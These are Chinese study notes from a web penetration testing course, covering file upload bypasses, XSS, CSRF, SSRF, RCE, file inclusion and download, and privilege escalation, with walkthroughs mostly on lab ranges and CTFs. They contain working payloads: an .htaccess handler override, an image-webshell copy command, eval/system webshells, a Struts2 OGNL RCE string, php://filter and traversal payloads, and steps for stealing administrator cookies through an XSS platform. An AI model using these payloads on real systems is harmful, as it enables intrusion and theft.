首先找到文件上传的窗口,然后判断是服务器端还是客户端的验证,客户端较容易判断出来,最后检验是哪种服务器端的过滤方式。判断是客户端和服务端检验,再检验是白名单还是黑名单,根据具体情况来决定采用什么绕过方式。

2.白盒查找
从对方的源代码里来分析漏洞;

文件上传漏洞有哪些需要注意的地方

拿到一个文件上传,对文件上传的类型做一个区分;确定文件上传的类型,采取这样的类型来去做测试;

演示案例

1. 常规文件上传地址的获取说明
使用谷歌语法搜索inurl:upload.php
小迪WEB_第285张图片
搜索查询上传页面
在这里插入图片描述
可以使用工具扫描
小迪WEB_第286张图片
2. 不同格式下的文件类型后门测试
小迪WEB_第287张图片
不要妄想通过一个图片你能带着你的后门来控制网站。直接改格式有时候并没有什么用,什么格式代码就用什么格式去执行。

3.配合解析漏洞下的文件类型后门测试
解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。该漏洞—般配合服务器的文件上传功能使用,以获取服务器的权限。
解析漏洞一般发生在iis、nginx、apache

首先启用vulhub靶场,搭建文件上传解析漏洞的靶场;
小迪WEB_第288张图片
启动靶场环境
小迪WEB_第289张图片
访问靶场
在这里插入图片描述
提交的图片中插入语句,然后实现解析漏洞;
小迪WEB_第290张图片
这并不是说这样加了都可以,是因为这里有Ngiinx畸形解析漏洞, 对方在解析上的出现了混乱;
解析的规则是要看有没有漏洞,有的话可以按这种方法,没有的话就无法实现

4.本地文件上传漏洞靶场环境搭建测试
靶场下载地址

用phpstudy搭建upload-labs这个靶场;
小迪WEB_第291张图片
PHP称为后端语言是因为它的代码和你前端执行源代码是不同的。

5.某 CMS 及 CVE 编号文件上传漏洞测试
小迪使用的是FineCMS
自己没办法搭建;
可以去网上查询FineCMS的漏洞,比自己一个人乱搞可以提高很多效率;
小迪WEB_第292张图片

weblogic任意文件上传漏洞
启动靶场环境
小迪WEB_第293张图片
跟着靶场的复现一步步完成就可以
小迪WEB_第294张图片
小迪WEB_第295张图片
最后要上传一个jsp文件,我没有这样的后门文件,所以最后没办法上传成功,但是前面的步骤都是正确的;
小迪WEB_第296张图片

第21天:WEB 漏洞-文件上传之后端黑白名单绕过

小迪WEB_第297张图片

文件上传常见验证:

后缀名,类型,文件头等

  • 后缀名:

黑名单:不允许上传的格式后缀
asp php jsp aspx cgi war 等
php5、phtml等后缀没有定义到黑名单里面,也许可以使用绕过文件上传

白名单:可以上传的格式后缀
jpg png zip rar gif 等

  • 文件类型:MIME 信息
    小迪WEB_第298张图片

  • 文件头:内容头信息
    小迪WEB_第299张图片

演示案例

黑名单绕过:
1.uploadlabs Pass-02
打开靶场,查看源代码
小迪WEB_第300张图片
只判断文件类型,抓包修改文件类型为image/jpeg、image/png、image/gif
小迪WEB_第301张图片
修改文件类型后
小迪WEB_第302张图片
2.uploadlabs Pass-03
打开靶场,查看源代码
小迪WEB_第303张图片
黑名单里面不允许上传.asp、.aspx、.php、.jsp
但是我们可以上传.php5、.phtml等;
小迪WEB_第304张图片
修改后缀名,上传成功
小迪WEB_第305张图片
3.uploadlabs Pass-04
打开靶场,查看源代码
小迪WEB_第306张图片
所有的后缀名基本上都不能使用了,除了.htaccess
先上传一个.htaccess后缀名的文件
内容如下:

<FilesMatch "shana">
Sethandler application/x-httpd-php
</FilesMatch >

小迪WEB_第307张图片
然后再上传一个.jpg后缀名的文件
小迪WEB_第308张图片
上传成功

4.uploadlabs Pass-05
打开靶场,查看源代码
可以看出有大小写的区分,可以使用大小写绕过
小迪WEB_第309张图片
更改大小写,上传成功
小迪WEB_第310张图片

5.uploadlabs Pass-06
打开靶场,查看源代码,没有对后缀名进行去空,因此可以在后缀名加空格绕过
小迪WEB_第311张图片
修改文件名后缀名大小写,增加空格
小迪WEB_第312张图片
文件上传成功
小迪WEB_第313张图片

第22天:WEB 漏洞-文件上传之内容逻辑数组绕过

文件上传知识点

图片一句话制作方法:
copy 1.png /b + shell.php /a webshell.jpg

文件头检测:
是指当浏览器上传到服务器的时候,白名单进行的文件头检测,符合,则允许上传,否则不允许上传。

图像文件信息判断:

逻辑安全=二次渲染:
二次渲染的缘分逻辑存在漏洞,先将文件上传,之后再判断,符合就保存,不符合删除,可利用条件竞争来进行爆破上传。

逻辑安全-条件竞争:
竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

目录命名-x.php/.

数组接受+目录命名:
小迪WEB_第314张图片

演示案例

1.uploadlabs Pass-14
打开靶场,查看源代码,图片木马绕过;
小迪WEB_第315张图片
制作图片,生成图片木马
小迪WEB_第316张图片
小迪WEB_第317张图片
小迪WEB_第318张图片

2.uploadlabs Pass-17
打开靶场,查看源代码,二次渲染

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

二次渲染:分两步,先把文件上传服务器,服务器将这个文件进行保存或删除(上传的时候下面有保存和上传的按钮)
小迪WEB_第319张图片
3.CVE-2017-12615-上传-Tomcat
小迪WEB_第320张图片
打开靶场环境
小迪WEB_第321张图片
然后根据提示解决问题
小迪WEB_第322张图片
4.中间件解析漏洞+配合文件上传测试
小迪WEB_第323张图片

  • IIS-上传-解析
    小迪WEB_第324张图片

第23天:WEB 漏洞-文件上传之解析漏洞编辑器安全

知识点讲解

各个平台解析漏洞讲解:
IS,Apache,Nginx

各个 WEB 编辑器安全讲解:
https://navisec.it/编辑器漏洞手册/

各个 CMS 文件上传简要讲解:
wordpress,phpcms,

几种中间件解析漏洞简要演示

Apache解析漏洞-低版本
在低版本的apache中,若文件后缀x.php.xxx.yyy,在服务器中若此文件.yyy后缀不被解析,则依次向前解析,成功为止。
如果服务器中间件apache为较低版本的话,我们利用文件上传,上传一个不被识别的文件后缀,利用解漏洞规则成功解析该文件,文件中的后门代码就会被
小迪WEB_第325张图片

Apache 换行解析-vulhub
这个漏洞以前复现过,这次就不复现了;
小迪WEB_第326张图片
Nginx 解析漏洞-vulhub
这个之前也复现过,就不再复现了;
小迪WEB_第327张图片

Nginx文件名逻辑-vulhub
打开靶场,复现环境
小迪WEB_第328张图片

几种常见 WEB 编辑器简要演示

1.Fckeditor exp 利用
构件组成
小迪WEB_第329张图片
实际的编辑器
小迪WEB_第330张图片
2.ueditor 漏洞利用
小迪WEB_第331张图片

几种常见 CMS 文件上传简要演示

通达 OA 系统

贴近实际应用下的以上知识点演示

判断中间件平台,编辑器类型或 CMS 名称进行测试

第25天:WEB 漏洞-XSS跨站之原理分类及攻击手法

小迪WEB_第332张图片

XSS跨站漏洞产生原理,危害,特点

原理:XSS简称跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在WEB应用程序中的计算机安全漏洞,是由于WEB应用程序对用户的输入过滤不足而产生的
攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookies资料窃取,会话劫持,钓鱼欺骗等各种攻击

XSS跨站大部分都是前端的漏洞,和网站脚本没有关系。
小迪WEB_第333张图片XSS简介
  跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
  攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
  xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
小迪WEB_第334张图片
产生层面
属于前端漏洞,产生在浏览器界面,JavaScript代码能干什么,执行之后就会达到相应的效果

函数类
一般哪些函数会和这些漏洞有关系,常见的输出型函数会产生关系,比如:print、print_r、echo、printf、sprintf、die、var_dump、var_export

危害影响
会受到JavaScript语句的影响,想实现什么功能,实现什么攻击,就通过JS代码来实现的

浏览器内核版本
浏览器内核版本也会决定漏洞的情况,利用这个漏洞需要浏览器版本和内核没有过滤XSS攻击
例如:
像火狐就可以成功的执行这个JS代码

小迪WEB_第335张图片但是IE浏览器就会有过滤,阻止JS代码的执行
小迪WEB_第336张图片
漏洞攻击成功的前提条件:
1.浏览器内核版本会决定漏洞是否执行,浏览器版本高的话,会有一些安全策略,阻止一些JS脚本的执行。即使有漏洞也无法利用成功

XSS跨站漏洞分类

1.反射型

原理:将恶意js代码作为输入提交到服务器端,服务器端解析后响应,js代码随响应内容一起传回给浏览器,最后浏览器解析执行js代码。只有一次效果,通常伪造成链接获取cookie或着进行钓鱼欺骗。通常出现在搜索框和用户登录口。

<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

2.存储型

攻击者传入的js代码在服务器端(数据库,内存,文件系统等)存储下来,用户每次访问都会执行恶意构造的js代码。持久性的。通常出现在留言板等与数据库交互的地方。

3.DOM型

DOM,全称Document Object Model,可以认为是反射性xss,但是差别在于DOM XSS的代码并不需要服务器参与,发生在客户端,DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等,触发XSS靠的是浏览器端的DOM解
析。通常出现在页面跳转的地方,常用方法location.replace,document.write()等调用DOM对象的地方。

小迪WEB_第337张图片
区别
小迪WEB_第338张图片
#’ οnclick=“alert(2)”>

演示案例

1.XSS 漏洞代码绕过靶场使用
在Pikachu的靶场先试一下反射型的。
在这里插入图片描述
小迪WEB_第339张图片
再试一下存储型
小迪WEB_第340张图片
一样还是成功的
小迪WEB_第341张图片
2.XSS 平台及工具简要演示测试
XSS平台的使用
https://xsshs.cn/xss.php?do=login
1、 注册
小迪WEB_第342张图片

2.、新创建一个我的项目
小迪WEB_第343张图片
3.、选择自己需要的功能,打钩
小迪WEB_第344张图片

4、查看代码
小迪WEB_第345张图片

5、把这些跨站代码弄到目标攻击的网站
小迪WEB_第346张图片

6.、等管理员查看后台留言板的时候
小迪WEB_第347张图片

7.、发现请求了这个地址。在平台上就有信息了
小迪WEB_第348张图片
小迪老师的课件里面也有一些XSS绕过的方法
小迪WEB_第349张图片
cookie session
用户凭据:通过凭据可以判断对方身份信息
cookie 存储本地 存活时间较长 小中型
session 会话 存储服务器 存活时间较短 大型

第26天:WEB 漏洞-XSS跨站之订单及shell箱子反杀记

XSS平台及工具使用

还可以在kali里面安装beef,类似于XSS平台。
通过XSS平台获取cookie
小迪WEB_第350张图片

Webshell后门中的后门

网络上还是有很多大马,后门。都是通过别人下载之后,通过他人之手盗取别人的信息
小迪WEB_第351张图片
小迪WEB_第352张图片

跨站攻击主要攻击的地方
小迪WEB_第353张图片

演示案例

1.某营销订单系统 XSS 盲打_平台
尝试在虚拟机里面搭建过,就是不懂为啥这些靶场我都登陆不进去,所以这边截小迪老师的图,来给大家看一下。
将跨站代码写在具体要求那一栏,看看能不能成功。
小迪WEB_第354张图片
管理员订单查询的时候
小迪WEB_第355张图片
成功的触发了跨站代码
小迪WEB_第356张图片
2.某 Shell 箱子系统 XSS 盲打_工具
将盗取的信息统一的放到这个箱子里进行管理,当别人使用你分享的后门工具时,你后门工具里面的代码,会把你获取的权限,发送到这个箱子里面。
小迪WEB_第357张图片
3.工具 Http/s 数据包提交 Postman 使用
上面的是通过XSS平台获取的cookie,下面是浏览器原本的cookie,明显的不一样。
小迪WEB_第358张图片
用postman这个工具,把得到的cookie加上这个PHPSESSID,就可以访问后台了
小迪WEB_第359张图片
如果对方网站采取session验证的话,盗取cookie是无效的。session没有储存到对方的电脑上,储存到服务器上。只能盗取本地的,session在服务端,所以我们没有接收到PHPSESSID这个数据。

但是在phpinfo()页面,我们是可以看到的我们需要的PHPSESSID
小迪WEB_第360张图片
所以我们可以在XSS平台上,借助一种功能,获取页面源码,访问phpinfo(),得到session的ID
小迪WEB_第361张图片

第29天:WEB 漏洞-CSRF及SSRF漏洞讲解

CSRF漏洞(跨站请求伪造漏洞)

小迪WEB_第362张图片
CSRF 漏洞解释,原理等
CSRF 漏洞(跨站请求伪造):漏洞是由于未校验请求来源,导致攻击者可在第三方站点发起 HTTP 请求,并以受害者的目标网站登录态(cookie、session 等)请求,从而执行一些敏感的业务功能操作

CSRF攻击成功,首先需要点击伪造链接,其次还需要被攻击者的一些敏感页面是在登陆状态的,才有可能实施攻击

CSRF 漏洞检测,案例,防御等
漏洞检测
用Burp Suite上自带的插件来查询是否有CSRF漏洞
小迪WEB_第363张图片
复制下面的HTML代码,粘贴到服务器中,并且看看在服务器里是否可以更改信息
小迪WEB_第364张图片
如果可以更改,就证明有这个漏洞
小迪WEB_第365张图片
手机号码被更改了,所以存在CSRF漏洞,没有反应的话就没有这个漏洞
小迪WEB_第366张图片
防御方案
1、当用户发送重要的请求时需要输入原始密码
2、设置随机 Token
数据包里面有token,就是用来检测数据的唯一性
小迪WEB_第367张图片

3、检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,
黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4、设置验证码
5、限制请求方式只能为 POST

SSRF 漏洞解释,原理等

SSRF 漏洞解释,原理等
SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。主要产生在网站的应用上。
小迪WEB_第368张图片
小迪WEB_第369张图片
SSRF 漏洞检测,案例,防御等
各个协议调用探针:http,file,dict,ftp,gopher 等
漏洞攻击:端口扫描,指纹识别,漏洞利用,内网探针等
http://192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21

内网探针:通过服务端请求其内网中的信息,内网穿透过去,通过协议,http,file,ftp,等
在内网中是没有办法直接请求信息的,通过访问网站实现跳板,来对内网实现攻击
内网IP地址是私有的,IP端并不多,做一个字典可以跑。
攻击的不是真实内网去,而是去打一些藏在内网中的服务,比如数据库被放在内网中无法提取,邮件服务器,隧道,代理等等等等
小迪WEB_第370张图片

演示案例

本地上传和远程上传
本地上传:将自己本地的文件和图片上传到对方的网站上去
远程上传:产生ssrf的明显漏洞,

1.SSRF_PHP,JAVA 漏洞代码协议运用
小迪WEB_第371张图片

小迪WEB_第372张图片

2.SSRF 实战_图片加载翻译转码等应用说明
下面这个粘贴图片地址符合就可以测试是否有ssrf漏洞,本地上传不可以测试是否有ssrf漏洞
小迪WEB_第373张图片
有道词典这里就可能有ssrf漏洞
小迪WEB_第374张图片

第30天:WEB 漏洞-RCE 代码及命令执行漏洞全解

在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
小迪WEB_第375张图片

RCE 漏洞-代码执行

写一个简单的代码


$code=$_GET['x'];
eval($code);
?>

小迪WEB_第376张图片
测试一下,变成了代码去解析,这里就是一个小的代码执行漏洞,想用代码写入文件,寻找写入文件的命令,在用代码执行漏洞
小迪WEB_第377张图片

RCE 漏洞-命令执行

写一个简单的代码


$code=$_GET['x'];
system($code);
?>

这次把eval换成了system,再用系统命令ipconfig
在这里插入图片描述
在这里插入图片描述

总结:找代码执行和命令执行的时候观察网站源码,看网站的具体应用。

RCE 漏洞产生相关性函数

相关性函数特别多,这里只是举一个例子
小迪WEB_第378张图片

演示案例

1.墨者靶场黑盒功能点命令执行-应用功能
打开靶场看一下,我想当然的就直接输入IP和命令
小迪WEB_第379张图片
但是发现没有用,前端过滤掉了,还是要抓包
小迪WEB_第380张图片
我们抓包之后,就可以实现命令执行
小迪WEB_第381张图片
成功的实现了命令执行
小迪WEB_第382张图片
然后我们在cat一下,这里说明一下,空格被过滤,所以需要我们想个办法绕过空格
小迪WEB_第383张图片
最后成功拿到flag
小迪WEB_第384张图片
额外说一下,我也是今天才知道原来火狐也是可以抓包发包的
小迪WEB_第385张图片
2.墨者靶场白盒代码及命令执行-代码分析
打开靶场看一下,清楚的看到一句php的代码
小迪WEB_第386张图片
然后我们用php在线环境,解密一下,可以看到a的参数
在这里插入图片描述
这样我们在URL上输入参数a小迪WEB_第387张图片
在参数a里实现命令执行,获得key
小迪WEB_第388张图片
补充一下,关于解密得到的内容 echo $_REQUEST[a];; ?>
echo输出反引号内的内容会被当做系统命令执行

3.墨者靶场黑盒层 RCE 漏洞检测-公开漏洞
打开靶场
小迪WEB_第389张图片
小迪WEB_第390张图片
去百度上搜索一下Webmin有哪些漏洞,开始漏洞复现,并且需要修改两个地方
小迪WEB_第391张图片
抓包可以看到漏洞复现成功
小迪WEB_第392张图片
根据靶场页面的提示,key在根目录下面,我们打开根目录,找到了key.txt
小迪WEB_第393张图片
打开key.txt,拿到我们的flag
小迪WEB_第394张图片
4.Javaweb-Struts2 框架类 RCE 漏洞-漏洞层面
看这个是为了告诉大家,RCE漏洞在很多层面都有漏洞的
小迪WEB_第395张图片
在网站上搜一些exp试一下
小迪WEB_第396张图片

exp:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ls

成功发现目录
小迪WEB_第397张图片
打开key.txt,拿到flag
在这里插入图片描述
额外补充:
poc是验证的,验证漏洞是否存在
exp是利用的,用来利用漏洞

第31天:WEB 漏洞-文件操作之文件包含漏洞全解

小迪WEB_第398张图片

文件包含漏洞

文件包含原理:文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

文件包含各个脚本代码
ASP,PHP,JSP,ASPX等




<%@ include file=“head.jsp”%>

演示案例

1.本地文件包含代码测试-原理
我们在本地写一个代码测试一下文件包含漏洞
本地包含-无限制
http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8080/include.php?filename=…/…/…/www.txt


$filename=$_GET['filename'];
include($filename);
?>

小迪WEB_第399张图片
本地包含-有限制


$filename=$_GET['filename'];
include($filename.".html");
?>

这里可以用一些方法绕过限制
%00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
filename=…/…/…/www.txt%00
长度截断:条件:Windows,点好需要长于256;linux长于4096
小迪WEB_第400张图片
2.远程文件包含代码测试-原理
1.http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt

2.http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20

3.http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23

4.http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?

3.各种协议流提交流测试-协议
每个脚本支持的协议,之前也要发过。
php://filter/read=convert.base64-encode/resource=index.php

http://e5369bfd1d9c4bc4af66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?path=php://in
put Post:
小迪WEB_第401张图片
http://e5369bfd1d9c4bc4af66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?path=php://fil
ter/read=convert.base64-encode/resource=dle345aae.php
http://127.0.0.1:8080/include.php?filename=data://text/plain,
小迪WEB_第402张图片
小迪WEB_第403张图片

4.某 CMS 程序文件包含利用-黑盒
5.CTF-南邮大-白盒
链接:http://4.chinalover.sinaapp.com/web7/index.php
打开靶场
小迪WEB_第404张图片
点击过后看到,有file=show.php
小迪WEB_第405张图片
这里经过测试可以发现有文件包含漏洞,我们这里用伪协议
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
就可以得到base64加密过后的flag
小迪WEB_第406张图片
经过base64解密过后,得到flag
小迪WEB_第407张图片
6.i 春秋百度杯真题-白盒
看一下题目
小迪WEB_第408张图片
打开靶场
小迪WEB_第409张图片
要输入语句跳转页面
小迪WEB_第410张图片
发现了一个奇怪的文件,打开看一下,得到flag
小迪WEB_第411张图片

第32天:WEB 漏洞-文件操作之文件下载读取全解

小迪WEB_第412张图片
区别:
1.文件被解析,则是文件包含漏洞
2.显示源代码,则是文件读取漏洞
3.提示文件下载,则是文件下载漏洞

文件下载、读取

漏洞原理:
文件下载(一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。)

任意文件下载漏洞,正常的利用手段是下载服务器文件,如脚本代码,服务器配置或者是系统配置等等。但是有的时候我们可能根本不知道网站所处的环境,以及网站的路径,这时候我们只能利用./ …/来逐层猜测路径,让漏洞利用变得繁琐。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(如…/…/…/etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。

文件名,参数值,目录符号
看到下面的点,可以去想想是不是文件下载漏洞
read.xxx?filename=
down.xxx?filename=
readfile.xxx?file=
downfile.xxx?file=
…/ …\ .\ ./等
%00 ? %23 %20 .等
&readpath=、&filepath=、&path=、&inputfile=、&url=、&data=、&readfile=、&menu=、META-INF= 、
WEB-INF

下载或文件读取漏洞:
对应文件:配置文件(数据库,平台,各种等)

演示案例

1.Pikachu-文件下载测试-参数
打开靶场看一下
小迪WEB_第413张图片
观察图片链接和图片下载链接,发现有些地方不一样,所以我们可以跨目录下载ececdownload里面的东西
在这里插入图片描述
文件下载成功
小迪WEB_第414张图片
如何得到数据库配置文件和路径
1.扫描工具爬行或扫描地址
2.下载好的文件代码中去分析路径和包含文件获取

补充:直接下载上面的文件和访问这个文件是不是一码事?
不一样的,php代码不对外展示,会被解析成html代码

2.Zdns-文件下载真实测试-功能点
真实的网站地址
小迪WEB_第415张图片
看一下这个网站应用下载的地方,测试一下是否有漏洞,找一个软件下载路径看一下,发现还有base64加密,可以通过下面这个路径来下载一些敏感文件
小迪WEB_第416张图片
3.小米路由器-文件读取真实测试-漏洞
真实的漏洞,在钟馗之眼上找到的一个地址,可以利用这个漏洞
https://www.seebug.org/vuldb/ssvid-98122
具体的可以看上面的链接
小迪WEB_第417张图片
执行图片中的代码,就可以观察到是否有这个漏洞了
小迪WEB_第418张图片

4.RoarCTF2019-文件读取真题复现-比赛
打开靶场看一下
小迪WEB_第419张图片
点击下方的help,就会发现一个标志性的东西Download
在这里插入图片描述
这里再利用一些JAVA开发的知识点,来解题。
因为不是做题笔记,所以写的比较粗糙,一些知识点我也没有去查询,就大概写一下解题的思路。
这里首先先利用JAVA开发的一个知识点
修改提交方式测试-读取 WEB 配置文件 WEB-INF/web.xml
在这里插入图片描述
然后再找到flag的路径
访问读取对应地址-访问读取 flag 对应 class 文件- (WEB-INF/classes/com/wm/ctf/FlagController.class)
小迪WEB_第420张图片
这里的flag被base64加密了,所以我们要base64解密一下。
小迪WEB_第421张图片

第33天:WEB 漏洞-逻辑越权之水平垂直越权全解

小迪WEB_第422张图片

越权漏洞

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

水平越权和垂直越权:
小迪WEB_第423张图片
水平越权:通过更换的某个 ID 之类的身份标识,从而使 A 账号获取(修改、删除等)B 账号数据。

垂直越权:使用低权限身份的账号,发送高权限账号才能有的请求,获得其高权限的操作。

未授权访问:通过删除请求中的认证信息后重放该请求,依旧可以访问或者完成操作。

原理:
前端安全造成:界面
判断用户等级后,代码界面部分进行可选显示
只判断登录状态,即普通用户登录之后无需验证级别依然可以调用该php文件

后端安全造成:数据库
user 表(管理员和普通用户同表)
id,username,password,usertype
1,admin,123456,1
2,xiaodi,11111,2
登录用户 admin 或 xiaodi 时,代码是如何验证这个级别?(usertype 判断)
如果在访问数据包中有传输用户的编号、用户组编号或类型编号的时候,那么尝试对这个值进行修改,就是测试越权漏洞的基本。

修复防御方案

1.前后端同时对用户输入信息进行校验,双重验证机制
2.调用功能前验证用户是否有权限调用相关功能
3.执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
4.直接对象引用的加密资源 ID,防止攻击者枚举 ID,敏感数据特殊化处理
5.永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤

演示案例

1.Pikachu-本地水平垂直越权演示(漏洞成因)
水平越权:
小迪WEB_第424张图片
抓包看一下,有username,可以尝试改名,改成lucy
小迪WEB_第425张图片
发现水平越权成功
小迪WEB_第426张图片

垂直越权:
小迪WEB_第427张图片
先创建一个名叫cswly的用户,抓包过后再删除
小迪WEB_第428张图片
修改admin用户的PHPSESSID,使其变为pikachu的PHPSESSID,这样cswly用户就可以重新添加上去,实现垂直越权。
小迪WEB_第429张图片
垂直越权:添加用户

前提条件:获取的添加用户的数据包
怎么来的数据包:
1.不同用户前端有操作界面可以抓取数据包
2.通过网站源码本地搭建自己去模拟抓取
3.盲猜

2.墨者水平-身份认证失效漏洞实战(漏洞成因)
打卡靶场看一下
小迪WEB_第430张图片
登陆用户test,抓包可以看到一个用户编号,修改这个用户编号,我们就可以找到这个“马春生”了
小迪WEB_第431张图片
这里我们看到有“马春生”的照片,复制一下图片地址,我们就看到了用户编号
在这里插入图片描述
通过这个方法得到用户名和密码。
当然我们也可以用Burp suit暴力破解,根据上面的方法,找到用户名和密码,密码用md5解密一下
小迪WEB_第432张图片
登陆成功,得到flag
小迪WEB_第433张图片
3.越权检测-小米范越权漏洞检测工具(工具使用)
中通安全开源项目之越权漏洞自动化检测
https://github.com/ztosec/secscan-authcheck

小迪WEB_第434张图片

4.越权检测-Burpsuite 插件 Authz 安装测试(插件使用)
在Burpsuite内直接安装
小迪WEB_第435张图片

第34天:WEB 漏洞-逻辑越权之登陆脆弱及支付篡改

登陆应用功能点安全问题

1.登录点暴力破解
需要先区分是HTTP还是HTTPS,因为HTTPS有可能是加密传输的,把密文加密后再进行爆破。
2.HTTP/HTTPS 传输
3.Cookie 脆弱点验证
4.Session 固定点测试
5.验证密文比对安全测试

数据篡改安全问题

参考:https://www.secpulse.com/archives/67080.html

商品购买流程:
选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
常见篡改参数:
商品编号 ID,购买价格,购买数量,支付方式,订单号,支付状态等
常见修改方法:
替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等

演示案例

1.HTTP/HTTPS 协议密文抓取
HTTP:登陆的时候数据包可能不会加密,但是有些还是会加密的
小迪WEB_第436张图片
HTTPS:一般都是会把密码加密的,加密传输
小迪WEB_第437张图片

2.后台登录帐号密码爆破测试
本地搭建一个zBlog,抓包可以看到密码被加密了
小迪WEB_第438张图片
可以看出来是MD5加密,然后我们这边可以用加密脚本爆破,脚本链接https://github.com/huyuanzhi2/password_brute_dictionary
小迪WEB_第439张图片
这里还可以用Burpsuite爆破,因为之前演示过很多次了,所以这里就不演示了。
3.Cookie 脆弱点验证修改测试
搭建了一个本地的熊海CMS的管理系统。
看一下它的代码,代码的验证只是验证了uesr不为空
小迪WEB_第440张图片
这里只要Cookie的user不为零,就可以绕过登录
小迪WEB_第441张图片
